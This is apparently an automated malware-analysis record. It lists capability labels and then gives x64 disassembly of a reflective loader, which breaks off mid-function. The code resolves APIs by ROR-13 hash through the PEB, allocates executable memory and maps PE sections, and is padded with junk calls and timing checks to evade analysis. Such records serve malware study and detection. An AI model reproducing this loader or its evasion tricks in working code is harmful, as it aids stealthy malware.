Function at 0x180004b7c
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Identify system language via api
Parse pe header
Query environment variable
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x160
mov qword [r11 - 0xe8], 0xfffffffffffffffe
movaps xmmword [r11 - 0x48], xmm6
movaps xmmword [r11 - 0x58], xmm7
movaps xmmword [r11 - 0x68], xmm8
movaps xmmword [r11 - 0x78], xmm9
movaps xmmword [r11 - 0x88], xmm10
movaps xmmword [r11 - 0x98], xmm11
movaps xmmword [r11 - 0xa8], xmm12
movaps xmmword [r11 - 0xb8], xmm13
movaps xmmword [r11 - 0xc8], xmm14
movaps xmmword [r11 - 0xd8], xmm15
mov rsi, rcx
rdtscp
lea r8, [r11 + 0x10]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov r9d, 0x989680
cmp rax, r9
jbe 0x180004c10
mov r14d, 0xfb849da
mov qword [rsp + 0x38], r14
jmp 0x180004c38
rdtscp
lea r8, [rsp + 0x1a8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov rcx, rax
xor edx, edx
mov rax, r9
div rcx
mov r14, rax
mov qword [rsp + 0x38], rax
rdtscp
lea r8, [rsp + 0x1a8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov ecx, eax
imul r15, rcx, 0xb9d4
movabs rax, 0x58ed2308158ed231
mul r15
mov rax, r15
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x5f
sub r15, rax
add r15d, 3
mov qword [rsp + 0x20], r15
mov dword [rsp + 0x88], r15d
mov ebx, r14d
mov dword [rsp + 0x1b0], ebx
xor r12d, r12d
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x80], r12
xorps xmm11, xmm11
movsd qword [rsp + 0xa8], xmm11
movsd xmm8, qword [0x180033a80]
movsd xmm6, qword [0x180033818]
movsd qword [rsp + 0xa0], xmm6
movaps xmm0, xmm8
call fcn.1800045bc
movaps xmm0, xmm11
call fcn.1800045bc
mov rsi, qword [rsi]
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x90], rsi
cmp r14d, r15d
jl 0x18000628c
mov r13d, 1
movaps xmm0, xmm8
call fcn.1800045bc
movaps xmm9, xmm0
movaps xmm0, xmm11
call fcn.1800045bc
addsd xmm9, xmm0
mulsd xmm9, xmm6
divsd xmm9, qword [0x180033848]
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x180006277
movsxd rcx, dword [rsi + 0x3c]
lea rax, [rcx - 0x40]
cmp rax, 0x3bf
ja 0x180006277
cmp dword [rcx + rsi], 0x4550
jne 0x180006277
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x20]
mov qword [rsp + 0x50], rcx
movsxd r15, r15d
mov qword [rsp + 0x28], r15
test rcx, rcx
je 0x180005562
mov rax, qword [rcx + 0x50]
mov qword [rsp + 0x58], rax
movzx esi, word [rcx + 0x48]
mov qword [rsp + 0x30], rsi
mov rdi, r12
lea rcx, [rsi + r13]
mov eax, 8
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.18000a178
test si, si
je 0x180004ebe
mov r15d, r14d
mov rcx, qword [rsp + 0x20]
cmp r14d, ecx
jle 0x180004e76
lea eax, [r14 + r14]
mov dword [rsp + 0x1a8], eax
cmp eax, ecx
jge 0x180004e30
mov esi, r12d
call qword [sym.imp.USER32.dll_CreateMenu]
movd xmm0, esi
cvtdq2pd xmm0, xmm0
call fcn.1800041c4
cvttsd2si eax, xmm0
movsx esi, al
mov ecx, esi
call fcn.180004410
movsx ebx, al
imul ebx, esi
mov dword [rsp + 0x1b0], ebx
cmp ebx, 0x7d
jne 0x180004de7
add r15d, r13d
mov rcx, qword [rsp + 0x20]
cmp r15d, ecx
mov eax, dword [rsp + 0x1a8]
jg 0x180004de0
jmp 0x180004e71
rdtscp
lea r8, [rsp + 0x1b8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
cmp rax, 0x989680
ja 0x180004e5b
rdtscp
lea r8, [rsp + 0x1b8]
mov dword [r8], ecx
rdtscp
lea r8, [rsp + 0x1b8]
mov dword [r8], ecx
ror edi, 0xd
mov rcx, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x30]
mov r15, qword [rsp + 0x58]
mov eax, 0x61
cmp byte [r15], al
jb 0x180004e9d
lea eax, [r14 + r14]
cmp eax, ecx
cmovl r14d, ecx
movzx eax, byte [r15]
sub eax, 0x20
cdqe
add rdi, rax
jmp 0x180004ea4
movzx eax, byte [r15]
add rdi, rax
add r15, r13
mov qword [rsp + 0x58], r15
mov eax, 0xffff
add si, ax
mov qword [rsp + 0x30], rsi
jmp 0x180004dbb
mov qword [rsp + 0x38], r14
cmp edi, 0x6a4abc5b
jne 0x18000553b
movsxd rax, r14d
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0x28]
cmp rax, rcx
jge 0x180004f05
cmp ebx, 0x2e
jg 0x180004ee4
mov ebx, 0x56
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRestart]
mov ecx, ebx
call fcn.180004410
movsx ebx, al
cmp ebx, 0x2e
jle 0x180004eee
jmp 0x180004ee4
mov r8, qword [rsp + 0x50]
mov r8, qword [r8 + 0x20]
mov qword [rsp + 0x40], r8
movsxd rax, dword [r8 + 0x3c]
mov edx, dword [rax + r8 + 0x88]
add rdx, r8
mov qword [rsp + 0x58], rdx
mov eax, dword [rdx + 0x20]
add rax, r8
mov qword [rsp + 0x1b8], rax
mov esi, dword [rdx + 0x24]
add rsi, r8
mov qword [rsp + 0x30], rsi
mov eax, 3
mov word [rsp + 0x1a8], ax
mov r15, qword [rsp + 0x20]
mov edi, r14d
cmp r14d, r15d
jle 0x18000509d
lea esi, [r14 + r14]
cmp esi, r15d
jge 0x180005055
movsd xmm0, qword [0x180033930]
call fcn.180004450
movd xmm0, eax
cvtdq2pd xmm0, xmm0
cvttsd2si eax, xmm0
cmp eax, 0x1a
je 0x180004f73
call qword [sym.imp.USER32.dll_InSendMessage]
mov eax, 0x56
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
call fcn.180004450
movsxd rcx, eax
cmp ecx, 0x1a
jne 0x180004faf
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov cl, 0x42
movss xmm1, dword [0x180033b20]
mov dl, 0x1d
movss xmm2, dword [0x180033ad8]
add cl, dl
addss xmm2, xmm1
movaps xmm1, xmm2
movaps xmm0, xmm2
subss xmm0, xmm1
cvttss2si edx, xmm0
movsx eax, dl
movd xmm2, eax
cvtdq2ps xmm2, xmm2
movsx eax, cl
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, xmm1
addss xmm0, xmm2
cvttss2si eax, xmm0
cmp eax, 0x4b
jne 0x180004fc3
mov cl, 0x75
movsx eax, cl
movsx ecx, cl
imul ecx, eax
movsx ebx, cl
mov dword [rsp + 0x1b0], ebx
cmp ebx, 0x17
jge 0x180004ffe
cmp ebx, 0x1a
jne 0x18000502b
call qword [sym.imp.USER32.dll_CreateMenu]
mov ebx, r12d
mov dword [rsp + 0x1b0], ebx
add edi, r13d
cmp edi, r15d
jg 0x180004f62
mov r8, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x58]
movzx eax, word [rsp + 0x1a8]
mov rcx, qword [rsp + 0x28]
jmp 0x18000509d
mov rdi, qword [rsp + 0x1b8]
mov ecx, dword [rdi]
mov r8, qword [rsp + 0x40]
add rcx, r8
mov r9d, r12d
mov al, byte [rcx]
ror r9d, 0xd
movsx eax, al
add r9d, eax
add rcx, r13
mov al, byte [rcx]
test al, al
jne 0x18000506c
mov dword [rsp + 0x48], r9d
mov rsi, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x58]
movzx eax, word [rsp + 0x1a8]
mov rcx, qword [rsp + 0x28]
jmp 0x1800050aa
mov r9d, dword [rsp + 0x48]
mov rdi, qword [rsp + 0x1b8]
mov r10d, 0xec0e4e8e
cmp r9d, r10d
je 0x1800050cb
cmp r9d, 0x7c0dfcaa
je 0x1800050cb
cmp r9d, 0x91afca54
jne 0x180005206
movzx ecx, word [rsi]
mov eax, dword [rdx + 0x1c]
lea rdx, [r8 + rax]
cmp r9d, r10d
jne 0x1800050f7
lea eax, [r14 + r14]
cmp eax, r15d
jl 0x180005419
mov eax, dword [rdx + rcx*4]
add rax, r8
mov qword [rsp + 0x78], rax
jmp 0x1800051e9
cmp r9d, 0x7c0dfcaa
jne 0x18000511d
lea eax, [r14 + 4]
cmp eax, r15d
jle 0x18000547b
mov eax, dword [rdx + rcx*4]
add rax, r8
mov qword [rsp + 0x68], rax
jmp 0x1800051e9
cmp r9d, 0x91afca54
jne 0x1800051e9
lea eax, [r14 + r14]
cmp eax, r15d
jl 0x180005143
mov eax, dword [rdx + rcx*4]
add rax, r8
mov qword [rsp + 0x70], rax
jmp 0x1800051e9
cmp ebx, 0x41
jne 0x180005152
movsd xmm1, qword [0x180033888]
jmp 0x180005183
call qword [sym.imp.USER32.dll_CreateMenu]
movsd xmm0, qword [0x1800338f0]
call fcn.180004450
movsx ebx, al
mov ecx, ebx
call fcn.180004410
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movd xmm1, ebx
cvtdq2pd xmm1, xmm1
subsd xmm1, xmm0
cvttsd2si ebx, xmm1
movss xmm8, dword [0x180033b68]
movss xmm7, dword [0x180033b70]
movss xmm6, dword [0x180033afc]
jmp 0x1800051dd
call qword [sym.imp.USER32.dll_GetDialogBaseUnits]
cvtps2pd xmm0, xmm8
call fcn.1800041c4
xorps xmm8, xmm8
cvtsd2ss xmm8, xmm0
cvtps2pd xmm0, xmm7
call fcn.1800041c4
xorps xmm7, xmm7
cvtsd2ss xmm7, xmm0
mulss xmm6, xmm7
movaps xmm0, xmm7
mulss xmm0, xmm8
subss xmm0, xmm6
cvttss2si ebx, xmm0
cmp ebx, 0x76
mov dword [rsp + 0x1b0], ebx
jg 0x1800051a2
movzx eax, word [rsp + 0x1a8]
mov ecx, 0xffff
add ax, cx
mov word [rsp + 0x1a8], ax
mov rcx, qword [rsp + 0x28]
cmp qword [rsp + 0x98], rcx
je 0x18000522a
add rdi, 4
mov qword [rsp + 0x1b8], rdi
add rsi, 2
mov qword [rsp + 0x30], rsi
jmp 0x180005401
mov ecx, 0x78
mov edi, ecx
lea eax, [rcx - 0x17]
cmp ebx, eax
jne 0x180005299
xorps xmm8, xmm8
cvtsi2sd xmm8, rcx
mulsd xmm8, qword [0x180033908]
mov r14d, eax
call qword [sym.imp.USER32.dll_GetDialogBaseUnits]
xorps xmm0, xmm0
cvtsi2ss xmm0, rdi
call fcn.1800040f8
xorps xmm7, xmm7
cvtsi2sd xmm7, rax
movaps xmm6, xmm8
cvtpd2ps xmm0, xmm6
call fcn.1800040f8
mov rdi, rax
xorps xmm8, xmm8
cvtsi2sd xmm8, rax
mulsd xmm8, xmm6
subsd xmm7, xmm8
cvttsd2si ebx, xmm7
cmp ebx, r14d
je 0x18000524d
mov r14, qword [rsp + 0x38]
movss xmm6, dword [0x180033b34]
mov edi, 0x7d
jmp 0x1800052eb
call qword [sym.imp.USER32.dll_GetClipboardViewer]
movaps xmm0, xmm6
divss xmm0, xmm6
movaps xmm6, xmm0
movd xmm1, edi
cvtdq2ps xmm1, xmm1
subss xmm1, xmm6
cvttss2si eax, xmm1
movsx eax, al
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm0, xmm6
cvttss2si edi, xmm0
cdq
idiv edi
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm0, xmm6
cvttss2si ebx, xmm0
cmp ebx, 0x69
jle 0x1800052a8
cmp ebx, 0x7a
jle 0x180005317
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
movss xmm0, dword [0x180033b10]
call fcn.1800040f8
xorps xmm6, xmm6
cvtsi2sd xmm6, rax
mov eax, 0xc2
jmp 0x180005335
mov eax, 0x61
xorps xmm6, xmm6
cvtsi2sd xmm6, rax
mulsd xmm6, qword [0x1800338d8]
cvtpd2ps xmm0, xmm6
call fcn.1800040f8
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm6, xmm0
cvttsd2si ebx, xmm6
mov dword [rsp + 0x1b0], ebx
mov eax, 0x61
cmp ebx, eax
jne 0x18000537e
lea ecx, [rax - 0x56]
call fcn.180004410
movd xmm0, eax
cvtdq2ps xmm0, xmm0
cvtps2pd xmm1, xmm0
movsd xmm2, qword [0x180033860]
divsd xmm2, xmm1
cvttsd2si ebx, xmm2
mov dword [rsp + 0x1b0], ebx
movsd xmm2, qword [0x1800339c8]
cmp ebx, 0x3b
jge 0x1800053d4
mov eax, 0x66
xorps xmm6, xmm6
cvtsi2sd xmm6, rax
cvtpd2ps xmm0, xmm2
call fcn.1800040f8
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movaps xmm0, xmm2
subsd xmm0, xmm6
cvttsd2si rax, xmm0
xorps xmm6, xmm6
cvtsi2sd xmm6, rax
movaps xmm1, xmm2
divsd xmm1, xmm6
cvttsd2si ebx, xmm1
mov dword [rsp + 0x1b0], ebx
cmp ebx, 0x3b
jl 0x180005398
mov edi, 0x2e
cmp ebx, 0x2b
jge 0x1800053f4
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
add edi, edi
mov ebx, edi
mov dword [rsp + 0x1b0], ebx
cmp edi, 0x2b
jl 0x1800053de
mov rcx, qword [rsp + 0x28]
movzx eax, word [rsp + 0x1a8]
test ax, ax
je 0x180005540
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x58]
jmp 0x180004f52
mov eax, 0x38
movd xmm0, eax
cvtdq2ps xmm0, xmm0
call fcn.1800040f8
mov rbx, rax
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
call fcn.180004450
lea ecx, [rax + rbx]
cmp ecx, 0x2d
jg 0x18000541e
mov ebx, 0x73
cmp ecx, 9
jne 0x18000545d
call qword [sym.imp.USER32.dll_GetCapture]
imul rbx, rbx
mov ecx, ebx
cmp ebx, 9
je 0x18000544c
mov eax, 0x31e1
cmp ecx, 4
cmovge ecx, eax
cmp ecx, 6
jge 0x180005473
call qword [sym.imp.USER32.dll_GetClipboardViewer]
call qword [sym.imp.KERNEL32.dll_GetThreadLocale]
jmp 0x180005419
mov esi, 0x79
mov eax, 0x54
cmp ebx, 0x39
jg 0x1800054c5
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
movaps xmm0, xmm6
call fcn.1800040f8
xorps xmm7, xmm7
cvtsi2sd xmm7, rax
movaps xmm0, xmm6
call fcn.1800040f8
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
addsd xmm0, xmm7
subsd xmm0, qword [0x180033830]
mov eax, 0x54
jmp 0x1800054e2
mov ecx, 0x1b90
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
mulsd xmm0, qword [0x180033838]
divsd xmm0, qword [0x180033a90]
cvttsd2si ebx, xmm0
cmp ebx, esi
jle 0x180005485
mov edi, 0x6b
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ecx, edi
call fcn.180004410
mov ebx, eax
movsx ecx, al
movd xmm6, ecx
cvtdq2pd xmm6, xmm6
movaps xmm0, xmm6
call fcn.180004450
movd xmm0, eax
cvtdq2pd xmm0, xmm0
add bl, bl
movsx edi, bl
mulsd xmm6, xmm0
movd xmm0, edi
cvtdq2pd xmm0, xmm0
mulsd xmm6, xmm0
cvttsd2si ebx, xmm6
cmp ebx, esi
jg 0x1800054ef
jmp 0x180005480
mov r15, qword [rsp + 0x20]
cmp qword [rsp + 0x78], r12
je 0x180005555
cmp qword [rsp + 0x68], r12
je 0x180005555
cmp qword [rsp + 0x70], r12
jne 0x180005562
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
jmp 0x180004d71
mov edi, r13d
movsd xmm10, qword [0x180033830]
movsd xmm7, qword [0x180033ab8]
movsd xmm13, qword [0x180033828]
movsd xmm12, qword [0x180033810]
xorps xmm11, xmm11
movsd xmm8, qword [0x180033818]
comisd xmm7, xmm10
jb 0x1800055cf
movaps xmm0, xmm10
subsd xmm0, xmm13
mulsd xmm0, xmm8
addsd xmm0, xmm11
call fcn.1800045bc
mulsd xmm0, xmm12
addsd xmm9, xmm0
add edi, r13d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm7, xmm0
jae 0x1800055a0
mov rsi, qword [rsp + 0x60]
movsxd rax, dword [rsi + 0x3c]
add rax, rsi
mov qword [rsp + 0x40], rax
mov edi, dword [rax + 0x54]
mov qword [rsp + 0x1b8], rsi
mov edx, dword [rax + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov qword [rsp + 0x30], rax
movsxd rcx, r14d
mov qword [rsp + 0x1a8], rcx
test rdi, rdi
je 0x180005740
sub rax, rsi
mov esi, 0x79
mov r15, qword [rsp + 0x1b8]
mov r14, rax
sub rdi, r13
cmp rcx, qword [rsp + 0x28]
jl 0x18000565f
movsd xmm0, qword [0x180033808]
call fcn.1800045bc
mulsd xmm0, xmm12
addsd xmm9, xmm0
mov al, byte [r15]
mov byte [r14 + r15], al
add r15, r13
jmp 0x180005725
movss xmm6, dword [0x180033a48]
jmp 0x180005682
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
cvtps2pd xmm0, xmm6
call fcn.1800041c4
xorps xmm6, xmm6
cvtsd2ss xmm6, xmm0
cvttss2si ebx, xmm6
cmp ebx, 0xf
jge 0x180005669
cmp ebx, 9
jl 0x1800056a2
call qword [sym.imp.ole32.dll_CoFreeUnusedLibraries]
xorps xmm0, xmm0
cvtsi2ss xmm0, rsi
call fcn.1800040f8
mov rbx, rax
movsd xmm1, qword [0x180033920]
jmp 0x1800056ba
movaps xmm0, xmm1
subsd xmm0, xmm1
movaps xmm1, xmm0
cvttsd2si ebx, xmm0
cmp ebx, 0x2b
je 0x1800056ac
cmp ebx, 0x1b
je 0x1800056d6
call qword [sym.imp.KERNEL32.dll_GetACP]
mov ecx, 0x2c
call fcn.180004410
jmp 0x1800056f3
call qword [sym.imp.USER32.dll_GetMessageExtraInfo]
mov ecx, 0x3f
call fcn.180004410
xorps xmm0, xmm0
cvtsi2ss xmm0, r12
call fcn.1800040f8
mov eax, 0x7d
movd xmm0, eax
cvtdq2ps xmm0, xmm0
call fcn.1800040f8
cmp eax, 0xc
jne 0x1800056f8
lea ecx, [rax + 0x48]
mov rax, rcx
cqo
idiv rcx
mov rcx, rax
mov ebx, eax
mov dword [rsp + 0x1b0], eax
cmp eax, 0x63
jle 0x18000570c
test rdi, rdi
mov rcx, qword [rsp + 0x1a8]
jne 0x18000562f
mov r14, qword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
sub rdi, r13
mov qword [rsp + 0x38], rdi
mov esi, r13d
movaps xmm0, xmm10
movsd xmm14, qword [0x180033800]
movsd xmm15, qword [0x180033ab0]
mulsd xmm0, xmm8
addsd xmm0, xmm11
call fcn.1800045bc
mulsd xmm0, xmm14
addsd xmm9, xmm0
add esi, r13d
movd xmm0, esi
cvtdq2pd xmm0, xmm0
comisd xmm15, xmm0
jae 0x180005761
movsd qword [rsp + 0x50], xmm9
mov esi, r14d
cmp r14d, dword [rsp + 0x20]
jle 0x180005998
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x1a8], rax
jg 0x180005937
movsd xmm8, qword [0x1800339f0]
cmp ebx, 6
je 0x18000581f
mov ebx, 0x5b
movsd xmm6, qword [0x180033978]
movsd xmm7, qword [0x1800339a8]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
divsd xmm6, xmm8
movaps xmm8, xmm6
mov ecx, ebx
call fcn.180004410
movsx ebx, al
movaps xmm0, xmm7
call fcn.180004450
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movd xmm6, ebx
cvtdq2pd xmm6, xmm6
cvtps2pd xmm7, xmm0
movaps xmm1, xmm6
addsd xmm1, xmm8
addsd xmm1, xmm7
cvttsd2si eax, xmm1
cmp eax, 6
jne 0x1800057d7
mov al, 0x4b
add al, al
movsx ecx, al
cmp ecx, 0x54
jg 0x180005821
cmp ecx, 0x70
jg 0x180005845
call qword [sym.imp.USER32.dll_CloseClipboard]
movsd xmm1, qword [0x180033820]
divsd xmm1, xmm11
jmp 0x180005886
call qword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
movsd xmm0, qword [0x1800338c0]
call fcn.1800041c4
cvttsd2si ebx, xmm0
lea eax, [rbx + rbx]
movd xmm6, eax
cvtdq2pd xmm6, xmm6
mov ecx, ebx
call fcn.180004410
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movd xmm1, ebx
cvtdq2pd xmm1, xmm1
divsd xmm1, xmm6
mulsd xmm1, xmm0
cvttsd2si eax, xmm1
movss xmm11, dword [0x180033b0c]
movsd xmm8, qword [0x1800338a8]
mov ebx, eax
cmp eax, 0x4b
jmp 0x1800058ee
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRestart]
cvttss2si ecx, xmm11
call fcn.180004410
movd xmm11, eax
cvtdq2ps xmm11, xmm11
cvtps2pd xmm7, xmm11
divsd xmm8, xmm7
cvtpd2ps xmm6, xmm8
movaps xmm0, xmm6
call fcn.1800040f8
xorps xmm8, xmm8
cvtsi2sd xmm8, rax
cvtps2pd xmm0, xmm6
mulsd xmm0, xmm8
addsd xmm0, xmm7
cvttsd2si ebx, xmm0
cmp ebx, 0x4b
mov dword [rsp + 0x1b0], ebx
jg 0x1800058a3
mov cl, 0x39
jmp 0x18000590e
movsx eax, cl
movsx ecx, cl
imul ecx, eax
movsx ebx, cl
mov dword [rsp + 0x1b0], ebx
cmp ebx, 0x16
jge 0x1800058fb
add esi, r13d
cmp esi, dword [rsp + 0x20]
xorps xmm11, xmm11
jg 0x1800057a1
movsd xmm7, qword [0x180033ab8]
movsd xmm8, qword [0x180033818]
jmp 0x180005998
movsd xmm0, qword [0x180033a80]
call fcn.1800045bc
movaps xmm9, xmm0
movaps xmm0, xmm11
call fcn.1800045bc
addsd xmm9, xmm0
movsd xmm8, qword [0x180033818]
mulsd xmm9, xmm8
divsd xmm9, qword [0x180033850]
movsd qword [rsp + 0x50], xmm9
mov rsi, qword [rsp + 0x40]
movzx eax, word [rsi + 0x14]
lea rdi, [rsi + 0x18]
add rdi, rax
mov qword [rsp + 0x38], rdi
movzx r10d, word [rsi + 6]
movsd xmm7, qword [0x180033ab8]
jmp 0x1800059a0
mov r10, r12
mov rsi, qword [rsp + 0x40]
test r10, r10
je 0x1800059eb
mov r9, qword [rsp + 0x60]
sub r10, r13
mov edx, dword [rdi + 0xc]
add rdx, r15
mov r8d, dword [rdi + 0x14]
add r8, r9
mov ecx, dword [rdi + 0x10]
test rcx, rcx
je 0x1800059d2
mov al, byte [r8]
mov byte [rdx], al
add rdx, r13
add r8, r13
sub rcx, r13
jne 0x1800059c2
sub rcx, r13
mov qword [rsp + 0x80], rcx
add rdi, 0x28
test r10, r10
jne 0x1800059aa
mov qword [rsp + 0x38], rdi
mov edi, r13d
comisd xmm7, xmm10
jb 0x180005a2f
movaps xmm0, xmm10
subsd xmm0, xmm13
mulsd xmm0, xmm8
addsd xmm0, xmm11
call fcn.1800045bc
mulsd xmm0, xmm12
addsd xmm9, xmm0
add edi, r13d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm7, xmm0
jae 0x1800059f9
movsd qword [rsp + 0x50], xmm9
lea eax, [r14 + r14]
mov rcx, qword [rsp + 0x20]
cmp eax, ecx
cmovl r14d, ecx
lea rax, [rsi + 0x90]
mov qword [rsp + 0x60], rax
mov edi, dword [rax]
add rdi, r15
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x1b8], rdi
cmp dword [rdi + 0xc], r12d
je 0x180005e94
cmp dword [rax], r12d
je 0x180005e94
lea eax, [r14 + 4]
cmp eax, ecx
cmovle r14d, ecx
mov dword [rsp + 0x1a8], r14d
mov ecx, dword [rdi + 0xc]
add rcx, r15
call qword [rsp + 0x78]
mov r8, rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x90], rax
mov r15d, dword [rdi]
add r15, qword [rsp + 0x30]
mov qword [rsp + 0x80], r15
mov esi, dword [rdi + 0x10]
add rsi, qword [rsp + 0x30]
mov qword [rsp + 0x38], rsi
mov rcx, qword [rsp + 0x20]
jmp 0x180005b42
mov r9, qword [rsp + 0x68]
movsxd rax, r14d
mov qword [rsp + 0x1b8], rax
cmp qword [rsi], r12
je 0x180005e6a
mov rdi, qword [rsp + 0x30]
test r15, r15
je 0x180005c75
cmp qword [r15], r12
jge 0x180005c75
lea eax, [r14 + r14]
cmp eax, ecx
jl 0x180005ba8
movsxd rax, dword [r8 + 0x3c]
mov ecx, dword [rax + r8 + 0x88]
mov eax, dword [rcx + r8 + 0x10]
movzx edx, word [r15]
sub rdx, rax
mov ecx, dword [rcx + r8 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [rsi], rax
jmp 0x180005cd9
cmp ebx, 0x12
jge 0x180005bb9
call qword [sym.imp.USER32.dll_IsWow64Message]
call qword [sym.imp.USER32.dll_GetCapture]
mov ebx, r12d
movsx ecx, bl
mov eax, r13d
cdq
idiv ecx
mov ebx, eax
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
call fcn.1800040f8
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
mulss xmm1, xmm0
cvttss2si ecx, xmm1
cmp ecx, 0x39
jne 0x180005bbc
movsd xmm0, qword [0x180033878]
call fcn.180004450
movsd xmm7, qword [0x180033970]
mov ebx, 0x4a
cmp eax, 0x10
jl 0x180005c4a
movsd xmm6, qword [0x180033940]
call qword [sym.imp.USER32.dll_GetActiveWindow]
divsd xmm6, xmm7
movaps xmm7, xmm6
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
call fcn.1800040f8
mov rbx, rax
movd xmm6, ebx
cvtdq2pd xmm6, xmm6
movaps xmm0, xmm7
divsd xmm0, xmm6
cvttsd2si eax, xmm0
cmp eax, 0x10
jge 0x180005c16
cmp eax, 0x5d
je 0x180005c56
mov ebx, 2
jmp 0x180005cd2
movaps xmm0, xmm10
call fcn.180004450
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movaps xmm1, xmm10
subsd xmm1, xmm0
cvttsd2si ebx, xmm1
jmp 0x180005cd2
mov rdx, qword [rsp + 0x28]
cmp rax, rdx
je 0x180005c99
mov rdx, qword [rsi]
add rdx, rdi
mov qword [rsp + 0x60], rdx
add rdx, 2
mov rcx, r8
call r9
jmp 0x180005ba0
cmp ebx, 0x50
jg 0x180005ceb
call qword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
mov eax, 0x57
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
divss xmm0, dword [0x180033b40]
cvttss2si rax, xmm0
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
divss xmm1, dword [0x180033b88]
cvttss2si ebx, xmm1
mov dword [rsp + 0x1b0], ebx
mov rax, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov dword [rsp + 0x1a8], r14d
cmp r14d, ecx
jle 0x180005e4a
cmp rax, rdx
jne 0x180005e30
mov r13d, 0x60
cmp ebx, 0x25
jge 0x180005d36
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
xorps xmm0, xmm0
cvtsi2sd xmm0, r13
call fcn.180004450
movsxd r13, eax
mov ebx, r13d
mov dword [rsp + 0x1b0], ebx
cmp r13d, 0x25
jl 0x180005d10
movss xmm6, dword [0x180033a88]
jmp 0x180005d6c
movaps xmm0, xmm6
subss xmm0, xmm6
movaps xmm6, xmm0
xorps xmm0, xmm0
cvtss2sd xmm0, xmm6
call fcn.180004450
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm0, xmm6
cvttss2si ebx, xmm0
mov dword [rsp + 0x1b0], ebx
cmp ebx, 0x45
jle 0x180005d40
cmp ebx, 0x51
jle 0x180005da3
call qword [sym.imp.KERNEL32.dll_GetACP]
movsd xmm0, qword [0x180033850]
call fcn.180004450
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, dword [0x180033a9c]
cvttss2si ebx, xmm0
mov dword [rsp + 0x1b0], ebx
cmp ebx, 0x67
jle 0x180005dc7
movsd xmm0, qword [0x180033948]
call fcn.1800041c4
xorps xmm1, xmm1
cvtsd2ss xmm1, xmm0
cvttss2si ebx, xmm1
mov dword [rsp + 0x1b0], ebx
mov r13d, 0x4d
cmp ebx, 0x31
jge 0x180005dfd
movd xmm0, r13d
cvtdq2pd xmm0, xmm0
call fcn.180004450
movsx ecx, al
mov eax, r13d
cdq
idiv ecx
mov r13d, eax
imul ecx, eax
mov ebx, ecx
mov dword [rsp + 0x1b0], ecx
cmp ecx, 0x31
jl 0x180005dd2
mov r13d, 1
mov eax, dword [rsp + 0x1a8]
add eax, r13d
mov dword [rsp + 0x1a8], eax
mov rcx, qword [rsp + 0x20]
cmp eax, ecx
mov rax, qword [rsp + 0x1b8]
mov rdx, qword [rsp + 0x28]
jg 0x180005cfc
jmp 0x180005e4a
add rsi, 8
mov qword [rsp + 0x38], rsi
test r15, r15
je 0x180005e4a
add r15, 8
